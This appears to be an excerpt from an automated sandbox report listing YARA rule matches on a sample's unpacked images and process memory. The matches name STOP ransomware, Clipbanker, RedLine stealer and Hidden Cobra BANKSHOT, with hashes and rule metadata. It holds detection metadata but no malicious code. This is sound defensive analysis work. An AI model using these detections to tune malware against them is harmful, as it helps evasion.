Source: 5.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.Z4CYGTBlj7.exe.5c915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.Z4CYGTBlj7.exe.5c915a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000001A.00000002.2746264570.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001A.00000002.2746264570.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000012.00000002.2354024907.0000000000960000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000012.00000002.2354024907.0000000000960000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000B.00000002.2246383419.0000000000A3C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000009.00000002.2284519794.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000004.00000002.2026921389.0000000004458000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000006.00000002.2046936112.0000000005C90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000019.00000002.2747322781.00000000009A0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001B.00000002.3371787102.0000000000820000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001D.00000002.3960074631.0000000000820000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000013.00000002.4452588974.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000013.00000002.4452588974.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000C.00000002.2176760234.0000000004452000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000016.00000002.2436787677.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001E.00000002.3959334294.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001E.00000002.3959334294.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001D.00000002.3960348495.0000000002410000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001D.00000002.3960348495.0000000002410000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000D.00000002.2188415452.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000D.00000002.2188415452.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000F.00000002.2247201319.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000F.00000002.2247201319.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001B.00000002.3372159400.0000000000910000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001B.00000002.3372159400.0000000000910000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000C.00000002.2177082596.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000008.00000002.2113400780.0000000001CFE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000012.00000002.2354307635.0000000000B2D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000019.00000002.2747130938.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000019.00000002.2747130938.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000B.00000002.2246217362.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000B.00000002.2246217362.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000016.00000002.2436081447.000000000425D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000007.00000002.4452631416.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000007.00000002.4452631416.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000006.00000002.2046892005.000000000444F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2003325383.0000000004498000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001C.00000002.3371066781.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001C.00000002.3371066781.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000017.00000002.2448318132.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000017.00000002.2448318132.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: Process Memory Space: Z4CYGTBlj7.exe PID: 5144, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: Z4CYGTBlj7.exe PID: 6392, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: Z4CYGTBlj7.exe PID: 7136, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: Z4CYGTBlj7.exe PID: 6600, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
